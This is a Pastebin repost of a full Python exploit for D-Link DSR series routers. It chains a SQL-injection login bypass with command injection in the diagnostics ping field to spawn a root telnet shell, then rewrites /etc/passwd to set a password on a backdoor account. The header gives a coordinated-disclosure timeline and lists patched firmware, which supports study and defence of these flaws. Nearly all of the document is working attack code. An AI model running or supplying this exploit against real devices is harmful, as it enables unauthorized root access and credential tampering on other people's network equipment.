Advertisement
M3GAFAB

D-Link DSR Router Series - Remote Root Shell Exploit

Dec 7th, 2013
436
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.45 KB | None | 0 0
  1.  
  2. #megafab.net
  3. //////////////////////////////////////////////////////////////////////////////////////////////////////
  4.  
  5. #########################################################################################
  6. # Python TOOL
  7. # D-Link DSR Router Series - Remote Root Shell Exploit
  8. # Author : 0_o -- null_null
  9. # Copyright : 1337day.com !
  10. ##########################################################################################
  11.  
  12. -----------------------------------------------------------------------------------------------------
  13.  
  14. #!/usr/bin/python
  15. #
  16. # CVEs: CVE-2013-5945 - Authentication Bypass by SQL-Injection
  17. # CVE-2013-5946 - Privilege Escalation by Arbitrary Command Execution
  18. #
  19. # Vulnerable Routers: D-Link DSR-150 (Firmware < v1.08B44)
  20. # D-Link DSR-150N (Firmware < v1.05B64)
  21. # D-Link DSR-250 and DSR-250N (Firmware < v1.08B44)
  22. # D-Link DSR-500 and DSR-500N (Firmware < v1.08B77)
  23. # D-Link DSR-1000 and DSR-1000N (Firmware < v1.08B77)
  24. #
  25. # Likely to work on: D-Link DWC-1000
  26. #
  27. # Download URL: http://tsd.dlink.com.tw
  28. #
  29. # Arch: mips and armv6l, Linux
  30. #
  31. # Author: 0_o -- null_null
  32. # nu11.nu11 [at] yahoo.com
  33. # Oh, and it is n-u-one-one.n-u-one-one, no l's...
  34. # Wonder how the guys at packet storm could get this wrong :(
  35. #
  36. # Date: 2013-08-18
  37. #
  38. # Purpose: Get a non-persistent root shell on your D-Link DSR.
  39. #
  40. # Prerequisites: Network access to the router ports 443 and 23.
  41. # !!! NO AUTHENTICATION CREDENTIALS REQUIRED !!!
  42. #
  43. #
  44. # Coordinated Disclosure -- history and timeline:
  45. #
  46. # 2013-09-12: Informed Heise Security and asked for their support on this case
  47. # 2013-09-13: Informed the manufacturer D-Link via
  48. # http://www.dlink.com/us/en/support/security-advisories/report-vulnerabilities/ (contact form is buggy!)
  49. # http://www.d-link.co.za/contactus/feedback/ (contact request submitted)
  50. # http://www.dlink.com/de/de/contact-d-link (contact form is buggy!)
  51. # mail@dlink.ru (contact request sent)
  52. # info@dlink.ee (contact request sent)
  53. # info@dlink.de (contact request sent)
  54. # 2013-09-14: Informed the German Federal Office for Information Security (BSI) via certbund@bsi.bund.de
  55. # 2013-09-16: D-Link Russia and D-Link Germany claim to have forwarded my request.
  56. # 2013-09-17: German BSI responds, contact established.
  57. # 2013-09-24: Requested CVE-IDs.
  58. # 2013-09-25: Heise responds, contact established.
  59. # 2013-09-27: D-Link asks for details on vulns and the exploit code.
  60. # Mitre assigns two CVEs:
  61. # CVE-2013-5945 -- authentication bypass
  62. # CVE-2013-5946 -- privilege escalation
  63. # 2013-09-30: D-Link has received the exploit and documentation via BSI
  64. # 2013-11-29: Patches are available for the DSR router series via tsd.dlink.com.tw
  65. # DSR-150: Firmware v1.08B44
  66. # DSR-150N: Firmware v1.05B64
  67. # DSR-250 and DSR-250N: Firmware v1.08B44
  68. # DSR-500 and DSR-500N: Firmware v1.08B77
  69. # DSR-1000 and DSR-1000N: Firmware v1.08B77
  70. # 2013-12-03: Public Disclosure
  71. #
  72. # And now - the fun part :-)
  73. #
  74.  
  75.  
  76. import httplib
  77. import urllib
  78. import telnetlib
  79. import time
  80. import sys
  81. import crypt
  82. import random
  83. import string
  84.  
  85.  
  86. ##############################
  87. #
  88. # CHANGE THESE VALUES -- BEGIN
  89. #
  90. # Your router's IP:PORT
  91. ipaddr = "192.168.10.1:443"
  92. # Password to be set (by this hack) on the backdoor account
  93. bdpasswd = "password"
  94. #
  95. # CHANGE THESE VALUES -- END
  96. #
  97. # persistent config file: /tmp/teamf1.cfg.ascii
  98. # Edit this file to make your changes persistent.
  99. #
  100. ##############################
  101.  
  102.  
  103. cookie = ""
  104. pid = -2
  105. bduser = ""
  106.  
  107.  
  108. def request(m = "", u = "", b = "", h = ""):
  109. global ipaddr
  110. conn = httplib.HTTPSConnection(ipaddr, timeout = 15)
  111. assert m in ["GET", "POST"]
  112. conn.request(method = m, url = u, body = b, headers = h)
  113. ret = conn.getresponse()
  114. header = ret.getheaders()
  115. data = ret.read()
  116. conn.close()
  117. return (header, data)
  118.  
  119.  
  120. def login(user, passwd):
  121. global ipaddr
  122. headers = {'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
  123. 'User-Agent': "Exploit",
  124. 'Referer': "https://" + ipaddr + "/scgi-bin/platform.cgi",
  125. 'Content-Type': "application/x-www-form-urlencoded"}
  126. body = {'thispage' : "index.htm",
  127. 'Users.UserName' : user,
  128. 'Users.Password' : passwd,
  129. 'button.login.Users.deviceStatus' : "Login",
  130. 'Login.userAgent' : "Exploit"}
  131. return request("POST", "/scgi-bin/platform.cgi", urllib.urlencode(body), headers)
  132.  
  133.  
  134. def logout():
  135. global ipaddr, cookie
  136. headers = {'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
  137. 'User-Agent': "Exploit",
  138. 'Referer': "https://" + ipaddr + "/scgi-bin/platform.cgi",
  139. 'Content-Type': "application/x-www-form-urlencoded"}
  140. body = ""
  141. return request("GET", "/scgi-bin/platform.cgi?page=index.htm", urllib.urlencode(body), headers)
  142.  
  143.  
  144. def execCmd(cmd = None):
  145. global ipaddr, cookie
  146. assert cmd != None
  147. headers = {'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
  148. 'User-Agent': "Exploit",
  149. 'Referer': "https://" + ipaddr + "/scgi-bin/platform.cgi?page=systemCheck.htm",
  150. 'Cookie': cookie,
  151. 'Content-Type': "application/x-www-form-urlencoded"}
  152. body = {'thispage' : "systemCheck.htm",
  153. 'ping.ip' : "localhost;" + cmd,
  154. 'button.traceroute.diagDisplay' : "Traceroute"}
  155. return request("POST", "/scgi-bin/platform.cgi", urllib.urlencode(body), headers)
  156.  
  157.  
  158. def findPid(mystr = None):
  159. # " 957 root 2700 S /usr/sbin/telnetd -l /bin/login"
  160. assert mystr != None
  161. mypid = 0
  162. (h, d) = execCmd(cmd = "ps|grep telnetd|grep -v grep");
  163. s = d.find(mystr)
  164. if s > 0:
  165. # telnetd is running
  166. cand = d[s - 50 : s]
  167. try:
  168. mypid = int(cand.split("\n")[1].split()[0])
  169. except IndexError:
  170. mypid = int(cand.split(">")[1].split()[0])
  171. return mypid
  172.  
  173.  
  174. def restartTelnetd(mystr1 = None, mystr2 = None):
  175. assert mystr1 != None and mystr2 != None
  176. global pid
  177. pid = findPid("telnetd -l /bin/")
  178. if pid > 0:
  179. # Stopping the running telnetd
  180. print "[+] Stopping telnetd (" + str(pid) + "): ",
  181. sys.stdout.flush()
  182. (h, d) = execCmd("kill " + str(pid))
  183. pid = findPid(mystr1)
  184. if pid > 0:
  185. print "FAILURE"
  186. sys.exit(-1)
  187. else:
  188. print "OK"
  189. # Starting a new telnetd
  190. print "[+] Starting telnetd: ",
  191. sys.stdout.flush()
  192. (h, d) = execCmd("telnetd -l " + mystr2)
  193. pid = findPid("telnetd -l " + mystr2)
  194. if pid > 0:
  195. print "OK (" + str(pid) + ")"
  196. else:
  197. print "FAILURE"
  198. sys.exit(-1)
  199.  
  200.  
  201. def main():
  202. global ipaddr, cookie, pid, bduser, bdpasswd
  203. user = "admin"
  204. passwd = "' or 'a'='a"
  205. print "\n\nPrivilege Escalation exploit for D-Link DSR-250N (and maybe other routers)"
  206. print "This change is non-persistent to device reboots."
  207. print "Created and coded by 0_o (nu11.nu11 [at] yahoo.com)\n\n"
  208. # Logging into the router
  209. print "[+] Trying to log into the router: ",
  210. sys.stdout.flush()
  211. (h, d) = login(user, passwd)
  212. if d.find("User already logged in") > 0:
  213. print "FAILURE"
  214. print "[-] The user \"admin\" is still logged in. Please log out from your current session first."
  215. sys.exit(-1)
  216. elif d.find('<a href="?page=index.htm">Logout</a>') > 0:
  217. while h:
  218. (c1, c2) = h.pop()
  219. if c1 == 'set-cookie':
  220. cookie = c2
  221. break
  222. print "OK (" + cookie + ")"
  223. elif d.find("Invalid username or password") > 0:
  224. print "FAILURE"
  225. print "[-] Invalid username or password"
  226. sys.exit(-1)
  227. else:
  228. print "FAILURE"
  229. print "[-] Unable to login."
  230. sys.exit(-1)
  231.  
  232. # Starting a telnetd with custom parameters
  233. print "[+] Preparing the hack..."
  234. restartTelnetd("/bin/login", "/bin/sh")
  235.  
  236. # Do the h4cK
  237. print "[+] Hacking the router..."
  238. print "[+] Getting the backdoor user name: ",
  239. sys.stdout.flush()
  240. tn = telnetlib.Telnet(ipaddr.split(":")[0])
  241. tn.read_very_eager()
  242. tn.write("cat /etc/profile\n")
  243. time.sleep(5)
  244. data = tn.read_very_eager()
  245. for i in data.split("\n"):
  246. if i.find('"$USER"') > 0:
  247. bduser = i.split('"')[3]
  248. break
  249. if len(bduser) > 0:
  250. print "OK (" + bduser + ")"
  251. else:
  252. print "FAILURE"
  253. sys.exit(-1)
  254. print "[+] Setting the new password for " + bduser + ": ",
  255. sys.stdout.flush()
  256. tn.write("cat /etc/passwd\n")
  257. time.sleep(5)
  258. data = tn.read_very_eager()
  259. data = data.split("\n")
  260. data.reverse()
  261. data.pop()
  262. data.reverse()
  263. data.pop()
  264. data = "\n".join(data)
  265. for i in data.split("\n"):
  266. if i.find(bduser) >= 0:
  267. line = i.split(':')
  268. s1 = string.lowercase + string.uppercase + string.digits
  269. salt = ''.join(random.sample(s1,2))
  270. pw = crypt.crypt(bdpasswd, salt)
  271. line[1] = pw
  272. # doesn't work for some odd reason -- too lazy to find out why
  273. #salt = ''.join(random.sample(s1,8))
  274. #line[1] = crypt.crypt(bdpasswd, '$1$' + salt + '$')
  275. data = data.replace(i, ":".join(line))
  276. break
  277. tn.write('echo -en "" > /etc/passwd\n')
  278. time.sleep(5)
  279. for i in data.split("\n"):
  280. tn.write('echo -en \'' + i + '\n\' >> /etc/passwd\n')
  281. time.sleep(1)
  282. data = tn.read_very_eager()
  283. tn.close()
  284. if data.find(pw) >= 0:
  285. print "OK (" + pw + ")"
  286. success = True
  287. else:
  288. print "FAILURE"
  289. print "[-] Could not set the new password."
  290. sys.exit(-1)
  291.  
  292. # Switching back to the originals
  293. print "[+] Mobbing up..."
  294. restartTelnetd("/bin/sh", "/bin/login")
  295.  
  296. # Logging out
  297. print "[+] Logging out: ",
  298. sys.stdout.flush()
  299. (h, d) = logout()
  300. if d.find('value="Login"') > 0:
  301. print "OK"
  302. else:
  303. print "FAILURE"
  304. print "[-] Unable to determine if user is logged out."
  305.  
  306. # Print success message
  307. if success:
  308. print "[+] You can now log in via SSH and Telnet by using:"
  309. print " user: " + bduser
  310. print " pass: " + bdpasswd
  311. print " These changes will be reverted upon router reboot."
  312. print " Edit \"/tmp/teamf1.cfg.ascii\" to make your changes persistent."
  313.  
  314. main()
  315. sys.exit(0)
  316.  
  317. # 65D018B10916232F 1337day.com [2013-12-07] 707A52BF480838B2 #
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement